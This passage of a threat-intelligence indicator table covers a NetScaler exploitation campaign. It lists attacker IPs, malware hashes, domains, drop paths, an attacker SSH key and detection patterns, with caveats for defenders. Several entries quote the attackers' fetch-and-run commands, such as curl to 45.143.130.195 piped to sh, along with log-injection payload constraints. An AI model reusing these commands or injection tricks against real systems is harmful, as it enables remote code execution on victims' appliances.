| IPv4 | 183.63.88.227 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: CHINANET Guangdong province network | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 190.117.56.56 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: America Movil Peru (movistar), consumer ISP | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 195.62.37.119 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: LIMANET Ltd (hosting space) | Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting. | Public blog, no TLP marking |
| IPv4 | 207.48.184.10 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Brightspeed (US), consumer ISP block | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 82.167.14.7 | Zscaler ThreatLabz [83]; Beazley Security advisory (updated Sep 29) [93]; GreyNoise tag [109]; eSentire TRU [98] | Zscaler ThreatLabz's 16 Oct IoC table lists this address - already on this page from Lupovis decoys, eSentire and GreyNoise tagging (an exploitation check that writes a test marker). A second vendor observing it strengthens the picture; the roles described are consistent | Multi-source. Keep it blocked. | Public blog, no TLP marking |
| IPv4 | 130.12.182.7 | Zscaler ThreatLabz [83]; Poppelgaard [75] | Zscaler ThreatLabz's 16 Oct IoC table lists this address - already on this page as the Huntback log-channel C2 (decoy telemetry, checker v1.15). The two sources describe different roles (C2 channel vs exploitation source); both make the address campaign infrastructure | Multi-source. Keep it blocked; look at what the address actually did in your logs to distinguish its roles. | Public blog, no TLP marking |
| IPv4 | 52.38.11.186 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (AWS US West) | watchTowr: atomic indicators are transient and likely to change between campaigns; the behavioral patterns are the durable signal. Cloud address space may be reassigned. | Public GitHub repository, no TLP marking |
| IPv4 | 52.39.16.162 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (AWS US West) | watchTowr honeypot capture; atomic indicators are transient. Cloud address space may be reassigned. | Public GitHub repository, no TLP marking |
| IPv4 | 32.186.46.211 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 141.98.212.82 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 165.22.104.177 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean) | watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 66.42.100.63 | watchTowr [105]; Poppelgaard [75] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean); also an out-of-band proving source (dnshook.site callbacks) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15 | watchTowr honeypot capture plus Huntback decoy telemetry. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 104.234.140.132 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 104.234.140.124 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 104.168.34.24 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 165.22.100.102 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean) | watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 206.189.107.84 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (DigitalOcean) | watchTowr honeypot capture; atomic indicators are transient. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 45.61.144.161 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 45.225.135.18 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 78.128.114.22 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (RACKWEB-NET, Bulgaria - different host from the already-listed 78.128.113.10) | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 159.26.112.64 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network (Proton AG space - same neighbourhood as the already-listed VPN exit 159.26.103.184) | watchTowr honeypot capture; atomic indicators are transient. Proton ranges are heavily used by commercial VPN exits - a hit can be an ordinary VPN user; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 185.135.77.63 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 212.86.125.40 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 45.12.239.191 | watchTowr [105] | CVE-2026-88771 exploitation source observed on watchTowr's honeypot sensor network | watchTowr honeypot capture; atomic indicators are transient and likely to change between campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 194.54.83.22 | Poppelgaard [75] | Out-of-band proving source (dnshook.site callbacks) per Huntback.io's 7 Oct decoy telemetry, carried in Poppelgaard checker v1.15. WHOIS: ORG-FPA22-RIPE, Ukraine | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 107.189.7.141 | Poppelgaard [75] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry (10 days), carried in checker v1.15; Huntback notes some of this group are Tor exits. WHOIS: BUYVM-LUXEMBOURG-02 (BuyVM/FranTech) | Huntback decoy observation relayed via the checker. BuyVM space is also used by Tor exits and ordinary hosting customers - correlate before attributing. | Public GitHub repository, no TLP marking |
| IPv4 | 109.71.252.97 | Poppelgaard [75] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: Datalix, Germany | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 185.121.170.60 | Poppelgaard [75] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: XODO Technology, New Zealand | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 185.243.218.225 | Poppelgaard [75] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: GIGAHOST-NET, Norway | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 192.42.116.101 | Poppelgaard [75] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relay | Tor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead. | Public GitHub repository, no TLP marking |
| IPv4 | 185.220.101.54 | Poppelgaard [75] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT (torservers netblock, Germany) - a Tor exit relay | Tor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead. | Public GitHub repository, no TLP marking |
| IPv4 | 204.8.96.74 | Poppelgaard [75] | ns.conf-theft source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: QUINTEX96 | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 192.42.116.62 | Poppelgaard [75] | Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relay | Tor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead. | Public GitHub repository, no TLP marking |
| IPv4 | 192.42.116.65 | Poppelgaard [75] | Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: TOR-EXIT-AND-MORE (Stichting Privacy1, Netherlands) - a Tor exit relay | Tor exit relay shared by thousands of ordinary users: never block it and never import it into a feed; a connection from it is at most a hunting lead. | Public GitHub repository, no TLP marking |
| IPv4 | 185.100.87.166 | Poppelgaard [75] | Tunnel-dropper source (pinggy/serveo fronted droppers) per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: FlokiNET-Romania (Tor-friendly host) | Huntback decoy observation relayed via the checker. FlokiNET also hosts Tor infrastructure and privacy services - correlate before attributing. | Public GitHub repository, no TLP marking |
| IPv4 | 77.247.126.239 | Poppelgaard [75] | Backing host of the pinggy/serveo tunnel droppers per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: CLOUVIDER-HB-CLIENT-7899, registered 12 Aug 2026 | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 45.59.125.187 | Poppelgaard [75] | PHP webshell source per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: ROUTERHOSTING | Huntback decoy observation relayed via the checker. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 130.12.182.7 | Poppelgaard [75] | Log-channel C2 per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: RIPE space, netname PRIVATE-NETWORK, registered 8 Oct 2025 | Huntback decoy observation relayed via the checker; the checker gives no protocol detail for the log channel. Attacker IPs can be unique to one victim. | Public GitHub repository, no TLP marking |
| IPv4 | 46.151.182.131 | Poppelgaard [75] | Bot-download host per Huntback.io's 7 Oct decoy telemetry, carried in checker v1.15. WHOIS: Ghosty-24, registered 13 Sep 2026 - fresh infrastructure | Huntback decoy observation relayed via the checker. Fresh registration is consistent with campaign infrastructure, not proof on its own. | Public GitHub repository, no TLP marking |
| IPv4 | 23.234.80.205 | Poppelgaard [75] | Source of LogonUISimple webshell-alias probes on 7 Oct, per a field report carried in Poppelgaard checker v1.15 (same /24 as the Gotham-observed 23.234.80.246). WHOIS: TZULO (tzulo, inc., United States) | Single field report relayed via the checker. Probing a webshell alias means targeting, not compromise. | Public GitHub repository, no TLP marking |
| IPv4 | 45.143.130.195 | SOCRadar [78]; Poppelgaard [75] | C2 and payload server of the "NetScaler C2" mass-exploitation framework (SOCRadar, identified in the wild, blog 7 Oct; ports 8899/tcp HTTP C2 and 53/udp DNS OOB): the pipeline enumerates FOFA-indexed NetScaler hosts, fingerprints versions, injects curl${IFS}-sk${IFS}45.143.130.195:8899/s/<bid>|sh across 11 unauthenticated endpoints every 30 minutes, and installs a polling agent at /tmp/.nsagent; the DNS fallback beacons via nslookup <bid>.p1.oob.45.143.130.195 | First-hand SOCRadar observation of the toolkit (they recovered the framework but no active C2 instance). Multiple public sources carry this IP since the checker relayed it on 7 Oct. | Public blog, no TLP marking |
| SHA-256 | 8588d11874ab52a1637953dc5538984647023d00b529f695fbd0e40cf8e5e852 | SOCRadar [78] | NetScaler C2 framework: run.sh - the Tmux-based orchestrator chaining the C2 listener, the 30-minute exploitation loop and heartbeat monitoring | From SOCRadar's teardown of the recovered toolkit. Hashes cover the framework files, not victim artifacts. | Public blog, no TLP marking |
| SHA-256 | 4992f575f3f1fc448cf54a4a0ce13cf6548790777abe0af1f935663498ea5639 | SOCRadar [78] | NetScaler C2: targets.py - FOFA mass reconnaissance, 12 queries x 10k results (~120k candidate hosts), honeypot and AWS-range filtering | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | 69a34c591eaaa2cbecaeed10c303b8dcf04c846b8408491da5452b9cfc93f686 | SOCRadar [78] | NetScaler C2: probe.py - version fingerprinting and CVE-2026-88771 confirmation of FOFA results (48 workers) | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | a3e26053975daa0a12a4848ce9533e5c439617cd7f69851347be2061999b4cd4 | SOCRadar [78] | NetScaler C2: exploit.py - the log-injection engine injecting two payload variants (HTTP agent bootstrap and DNS OOB fallback) across 11 unauthenticated endpoints | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | a9142989d912098856e58f2c74c2266e39150d50bc59722f915dade1ddfddf4a | SOCRadar [78] | NetScaler C2: c2_server.py - dual-protocol listener (HTTP 8899 for C2 polling/results, DNS 53 for OOB beacons) | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | f9e06d412dee96d98db4d4588f0012af859cc11caaae3e130697f282447cf07f | SOCRadar [78] | NetScaler C2: pollctl.py - operator interface (per-device shell, command broadcasting, session history) | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | 6c8929c6bc1ad59c4742d2671b797a08e36b8f3ec6ab479afc08bec62a3c2657 | watchTowr Intel [61]; watchTowr [105] | Sliver C2 implant ns_helper captured by watchTowr (44,523,749 bytes), staged to /var/vpn/ns_helper (and /nsconfig/.ns_helper/ns_helper); 60-second beacon with a hardcoded Chrome-on-Linux User-Agent to the operator IP on ports 80/443 | watchTowr honeypot capture; the operator stages and sinkholes binaries, so hashes rotate. Distinct from the earlier pylrk.cc FreeBSD Sliver implant (0188b0eb...). | Public blog and GitHub repository, no TLP marking |
| SHA-256 | 0e9e1a1644c0f445fe20735f6ab56e0ba61c9e51d76c34e14e729a9db9d78bf1 | watchTowr Intel [61]; watchTowr [105]; LevelBlue SpiderLabs (THOR team) [82] | Perl dropper update_c08937.pl captured by watchTowr (10,071 bytes): mints the gw_health superuser, decodes the PHP webshell, patches httpd.conf and reloads. A LevelBlue/Arctic Wolf sample with the same filename (974b6978...) is a different copy - hashes of this stager differ between captures | watchTowr honeypot capture; match on filename plus behaviour, not only on the hash. | Public blog and GitHub repository, no TLP marking |
| SHA-256 | c0ebf54be0aeddd5b953df8a60bff7fc88d571e948405c24f6b5d6c1aa17558a | watchTowr Intel [61]; watchTowr [105] | PHP webshell (4,372 bytes) embedded in the Perl dropper and written to /var/netscaler/logon/LogonPoint/.local_journal: password-checked against a stored SHA-256 hash, session flag on match, command execution, upload and download. Renders a login page without a valid session. watchTowr published the password in its post; it is not reproduced here | watchTowr honeypot capture; the shell is stateful and fails on default NetScaler configs because nsppe strips the Set-Cookie header the SESSID needs - absence of the session cookie does not mean the file is absent. | Public blog and GitHub repository, no TLP marking |
| SHA-256 | 6caf647ec5a440739b7ef073ccf30463ace79a17c9195eb528ea826c4c0000c4 | watchTowr [105] | SSH backdoor dropper /var/1 captured by watchTowr (164 bytes): stages the trojanized Dropbear binary | watchTowr honeypot capture; atomic indicators are transient. | Public GitHub repository, no TLP marking |
| SHA-256 | 530fb1522dc0a023bc3412d576c52a553933d302ed445475501acf8e7cfea46b | watchTowr Intel [61]; watchTowr [105] | Trojanized Dropbear SSH 2025.88 backdoor binary (/var/walk or /usr/bin/walk, 1,283,160 bytes) captured by watchTowr: statically linked for FreeBSD, no library dependencies, runs an SSH server on tcp/37512, hardcoded password support1 accepted on any account plus an embedded RSA-2048 key checked before authorized_keys; makes no changes to the SSH configuration | watchTowr honeypot capture; published for hunting, not for reuse. | Public blog and GitHub repository, no TLP marking |
| SHA-256 | 3754689fafacd2ff1c50781de2027afb1a736f9dadf48767afe560fc0f10a6f0 | Binary Defense ARC Labs [79] | Platypus fork Windows agent, unpacked, PE32+ x86-64 Go, 19,414,528 bytes (Binary Defense 12 Oct; fork-only modules internal/agent/rootesc - active privilege escalation via sudo/sudo_gtfo/rootexec/takeover - and internal/agent/selfpersist - covert persistence with watchdog, timestomping and masquerade names such as "System Health Monitor" and healthd). Sandbox run: executed cleanly, Microsoft Defender did not block it, 1 of 65 on VirusTotal at analysis time, 248 TLS + 193 HTTP enrollment attempts to the sinkhole, nothing past enrollment fired | Binary Defense malware-lab hash; the fork is verified against 1,689 public Platypus commits (both modules absent upstream). A rebuild changes the hash - hunt the behavior, not only the hash. | Public blog, no TLP marking |
| JARM | 40d40d40d00000000043d43d00043dabadbb43f9614a00c843a4ecd074ab81 | Binary Defense ARC Labs [79] | TLS server fingerprint (JARM) of the Platypus C2 server 195.123.233.245 (Binary Defense, 12 Oct) - pivot for TLS sessions presenting it across the five-domain cluster | Binary Defense first-hand observation. JARM fingerprints the server stack, not the operator; other Platypus deployments could share it. | Public blog, no TLP marking |
| TLS cert SHA-1 | 43311300529d031058895820fb79fb15afa171bb | Binary Defense ARC Labs [79] | Active platypus-ingress certificate thumbprint (Binary Defense 12 Oct), valid 2026-09-28 to 2026-10-28, presented on entretiensol.com and the other four cluster domains | Binary Defense first-hand observation; the actor rotates default ingress certificates, so thumbprints change - hunt the trio pattern together with the JARM. | Public blog, no TLP marking |
| TLS cert SHA-1 | e75699b342f4d1650ac2958b082d9f71beb73f93 | Binary Defense ARC Labs [79] | Prior Platypus ingress certificate thumbprint, seen 2026-09-05 (Binary Defense), same actor rotation pattern | As for the active thumbprint: actor-rotated, historical. | Public blog, no TLP marking |
| TLS cert SHA-1 | a8ff7a3154533f5b7af3a7be455e9ac6b9923bff | Binary Defense ARC Labs [79] | Earlier Platypus ingress certificate thumbprint, seen 2026-09-02 (Binary Defense), same rotation pattern | As for the active thumbprint: actor-rotated, historical. | Public blog, no TLP marking |
| Domain | white-guard.pro | Binary Defense ARC Labs [79]; TENEX [74] | Platypus ingress on the same IP as entretiensol.com (195.123.233.245), per Binary Defense (12 Oct): registered 4 June 2026 through the Moscow-based registrar REG.RU with REG.RU nameservers - eleven weeks before the campaign - and served both the active and the 5 September ingress certificates. Binary Defense reads the setup as a two-tier design: disposable aged .com domains for victim-facing work, the REG.RU domain as the protected tier that survives takedowns. Cluster25 telemetry previously tied the same server to a Havoc C2 | Binary Defense first-hand infrastructure analysis. Already listed on this site from TENEX as a Platypus C2 node - this entry adds the registrar/tier analysis and the Havoc history. | Public blog, no TLP marking |
| URL | https://entretiensol.com/api/v1/agents/enroll | Binary Defense ARC Labs [79] | Platypus agent mTLS enrollment endpoint on the C2 (Binary Defense; the agent registers via /p/<bid>?h=<hex_hostname>&u=<hex_username>&src=agent and polls /c/<bid> every 20 seconds, returning results via /r/<bid>?d=<hex>) | Binary Defense first-hand observation; matches the Platypus project protocol. Legitimate Platypus deployments use the same paths - pivot on the C2 IP and certificates, not the path alone. | Public blog, no TLP marking |
| File name | .ns_09343.pl / ns_827664.pl (Platypus fork agents), masquerade identities "System Health Monitor", healthd | Binary Defense ARC Labs [79] | Masquerade filenames of the Platypus fork agents recovered from two appliances (Binary Defense 12 Oct): ELF binaries with .pl extensions, installed in /var/tmp/ (first appliance) and /netscaler.local/ (second), with data directories /var/tmp/.ns_data and /var/core/.ns-cache/. The selfpersist module carries a masquerade identity table including "System Health Monitor", healthd, system-health, health-monitor and node-health for processes and services | Binary Defense first-hand IR. Any .pl file on a NetScaler that is actually an ELF binary is a compromise signal regardless of name; the fork modules rootesc/selfpersist have zero hits in 1,689 public Platypus commits. | Public blog, no TLP marking |
| Log pattern | admautoregd log-processing chain: grep(pitboss.*PPE.*unexpectedly died) -> sed -> awk -> find /var/core -name <TOKEN>* | tail -1 | SOCRadar [78] | Per SOCRadar (7 Oct): the background daemon that processes ns.log for CVE-2026-88771 is admautoregd; its 24-hour cycle or an appliance reboot triggers execution of injected lines. Payload constraints from the exploit code: no parentheses, spaces replaced with ${IFS}, no ? or & characters, command smaller than 93 bytes (128-byte username field) | Derived from SOCRadar's analysis of the recovered exploit code. Complements the ns_monuploadd_err.pl path described by watchTowr, CERT-EU and Martin's Blog. | Public blog, no TLP marking |
| HA sync note | HA sync propagates /nsconfig/httpd.conf, rc.netscaler, sshd_config and /nsconfig/ssh/ to the secondary within ~1 minute - but NOT /var/netscaler/gui/, /netscaler/ns_gui/ or /var/vpn/ | Binary Defense ARC Labs [79] | Binary Defense (12 Oct): httpd-config persistence and SSH-key persistence appear on both nodes within a minute, so removing them from one node does not clear the pair; webshells in the web directories are node-local and must be checked on each node individually. A diff of the synced paths between nodes surfaces one-sided changes, and the node that was primary during the exploitation window may hold the access-log evidence on the current secondary | First-hand IR guidance from Binary Defense; verify against your own HA configuration version. | Public blog, no TLP marking |
| Domain | ctrxsrv.com | watchTowr Intel [61]; watchTowr [105] | Purpose-built NetScaler-lookalike out-of-band callback domain seen by watchTowr among the OOB probes (wildcard subdomains) | watchTowr calls it purpose-built, unlike the shared OOB services. Block the domain, not any resolved IP. | Public blog and GitHub repository, no TLP marking |
| Domain | ddns.1433.eu.org | watchTowr [105] | Out-of-band callback domain family *.ddns.1433.eu.org seen by watchTowr; match on appliance egress DNS | Hunt on appliance egress only; 1433.eu.org is a public free-subdomain service, so do not block the apex on its own - watchTowr gives the wildcard form. | Public GitHub repository, no TLP marking |
| Domain | staticship.org | watchTowr [105] | Out-of-band callback domain family *.css.staticship.org seen by watchTowr; match on appliance egress DNS | watchTowr gives the wildcard form *.css.staticship.org; hunt on appliance egress only. | Public GitHub repository, no TLP marking |
| Domain | smartdnslog.com | watchTowr [105] | Out-of-band callback endpoint oob.smartdnslog.com/cb/<id> seen by watchTowr | smartdnslog is a DNS-capture service, dual-use like dnshook.site: legitimate in other contexts. Hunt its use from NetScaler hosts and correlate; do not blanket-block without context. | Public GitHub repository, no TLP marking |
| Domain | v5v.in | Poppelgaard [75] | Payload host of the 8 October overnight wave of the same login injection, per a community report carried in Poppelgaard checker v1.16: https://v5v.in/r.sh?k=<key>|sh | Single community report relayed via the checker; no vendor or CERT confirmation. Hunt the full URL, not the apex on its own. | Public GitHub repository, no TLP marking |
| IPv4 | 72.5.65.111 | Poppelgaard [75] | Source of an overnight wave of the same CVE-2026-88771 login injection on 8 October, per a community report (World of EUC Slack) carried in Poppelgaard checker v1.16; the payload fetched https://v5v.in/r.sh?k=<key>|sh | Single community report relayed via the checker; no vendor or CERT has confirmed it. A hunting lead, not proof of targeting. | Public GitHub repository, no TLP marking |
| SHA-256 | be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447 | Poppelgaard [75] | SLAPSHOT/WHIPSHOT kit file (four more files of the kit shared by Gotham Technology Group on 6 Oct via checker v1.15, from the analysis of its installer b9b0a438...) | Community-sourced compilation via Gotham; the checker does not name which file each hash is, and no vendor report confirms them individually. Match on content, not name. | Public GitHub repository, no TLP marking |
| SHA-256 | dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e | Poppelgaard [75] | SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...) | Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name. | Public GitHub repository, no TLP marking |
| SHA-256 | 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7 | Poppelgaard [75] | SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...) | Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name. | Public GitHub repository, no TLP marking |
| SHA-256 | cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd | Poppelgaard [75] | SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...) | Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name. | Public GitHub repository, no TLP marking |
| Domain | pinggy.net | Poppelgaard [75] | SSH tunnel service that fronted two dropper sources in the campaign, per Huntback.io (7 Oct, via checker v1.15); the checker also lists free.pinggy.net as an exploit-string host | pinggy.net is a legitimate public SSH-tunnel service used by developers every day; only its abuse here makes it an indicator. Hunt connections from NetScaler hosts to it and correlate; do not block the service wholesale. | Public GitHub repository, no TLP marking |
| Domain | serveousercontent.com | Poppelgaard [75] | Second SSH tunnel service fronting campaign droppers, per Huntback.io (7 Oct, via checker v1.15) | serveousercontent.com is the user-content domain of the legitimate serveo tunnel service; dual-use like webhook.site. Hunt its use from NetScaler hosts and correlate; do not blanket-block without context. | Public GitHub repository, no TLP marking |
| File path | /var/vpn/ns_helper, /nsconfig/.ns_helper/ns_helper | watchTowr Intel [61]; watchTowr [105]; Poppelgaard [75] | Drop paths of the watchTowr-captured Sliver implant ns_helper, staged by fetch from the operator staging URL (also hunted by the checker as compromise since v1.15) | watchTowr honeypot capture. A missing file proves nothing; /var/vpn is web-adjacent, so also check for requests to it. | Public blog and GitHub repository, no TLP marking |
| File path | /var/1, /var/walk, /usr/bin/walk | watchTowr [105] | SSH-backdoor dropper (/var/1) and trojanized Dropbear binary (/var/walk, /usr/bin/walk) per watchTowr; the checker-style hunt also greps crontab for walk | watchTowr honeypot capture; a missing file does not rule out earlier execution or cleanup. | Public GitHub repository, no TLP marking |
| File path | /tmp/sessions.log.d | watchTowr [105] | Directory artifact listed in watchTowr's hunting commands for the SSH-backdoor activity | watchTowr honeypot capture; hunt with ls -lahd /tmp/sessions.log.d and inspect its contents. /tmp clears on reboot. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.sec.txt, /var/tmp/.cred.txt | watchTowr [105] | Hidden staging files named in watchTowr's hunting commands alongside the proof-of-execution markers | watchTowr honeypot capture; a hit means data was staged - preserve and inspect securely. A missing file proves nothing. | Public GitHub repository, no TLP marking |
| File name | x.php, health.php, .x.php (sprayed webshells), pwn.txt, p.txt (markers) | watchTowr Intel [61]; watchTowr [105] | Smash-and-grab payloads watchTowr captured: unauthenticated PHP webshells sprayed across 14 directories and proof-of-execution markers in web-accessible locations | watchTowr honeypot capture; names are transient. Any PHP or marker file in the web folders is a compromise signal regardless of name. | Public blog and GitHub repository, no TLP marking |
| File path | /var/netscaler/logon/LogonPoint/logon.js, /var/netscaler/logon/LogonPoint/ns0e82mz.txt | watchTowr [105] | PoC proof-of-execution markers (logon.js) and web-served id output (ns0e82mz.txt) from the watchTowr repository | watchTowr honeypot capture; filenames may rotate. Any id-output file in a web-served path is a compromise signal. | Public GitHub repository, no TLP marking |
| SSH key | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIByuCHWk9qsqn0xD6eO4wSOwiF8b8m6Gb+s6+nue13s3 lo@vps (fingerprint SHA256:hGLHNG47ISWLin1Ik3o2KzgPLphQ3mjkGdp6DSeAiLo) | watchTowr Intel [61]; watchTowr [105] | Attacker key sprayed by the smash-and-grab operator into /root/.ssh, /nsconfig/ssh and /nsconfig/.ssh, per watchTowr | A hit in any authorized_keys means attacker access: remove the key, rotate all credentials and treat the host as compromised. Also check the older saved configs ns.conf.0/.1 for the key. | Public blog and GitHub repository, no TLP marking |
| Pattern | C2 URI pattern: ^/(?:bundles|scripts|script|javascripts|js)(?:/(?:bundles|scripts|script|javascripts|js)){0,5}/(?:route|app|app\.min|array)\.php(?:\?[A-Za-z]=[A-Za-z0-9]+)?$ | watchTowr [105] | URI shape of the watchTowr-captured Sliver ns_helper implant beacons (segments bundles/scripts/script/javascripts/js nested 1-6 deep, filename route/app/app.min/array, .php, optional single-letter query); observed endpoints include /scripts/scripts/scripts/app.php?u=... and /script/script/javascripts/scripts/app.min.php?e=... on port 80 to the operator IP | watchTowr-published regex for its captured implant; other builds may use different shapes. Hunt in egress HTTP logs from NetScaler hosts. | Public GitHub repository, no TLP marking |
| Log pattern | Shell script parked in a tagged User-Agent (<tag>:<script>) in the HTTP access log, later run by an injection carrying grep <tag>: /var/log/htt* | sed ... | sh | Poppelgaard [75] | Log-reflection technique documented by Lupovis (7 Oct, via checker v1.15): the payload never appears in the login field, only the grep-and-run line, so login-field filters miss it. A second actor base64-encodes the script (<tag>:<base64>) | A tagged User-Agent alone means staging; the technique is proven only if the shell audit log shows the grep line running. The checker decodes the base64 variant. | Public GitHub repository, no TLP marking |
| File path | /tmp/.nsagent | Poppelgaard [75] | Polling agent of the SOCRadar "NetScaler C2" framework (per checker v1.15): the automated tool installs it after injecting curl${IFS}-sk${IFS}45.143.130.195:8899/s/<id>|sh; HTTP and DNS command channels; a running .nsagent process counts equally | Relayed via the checker; reported as compromise there. Preserve and investigate; a missing file does not rule out earlier execution. | Public GitHub repository, no TLP marking |
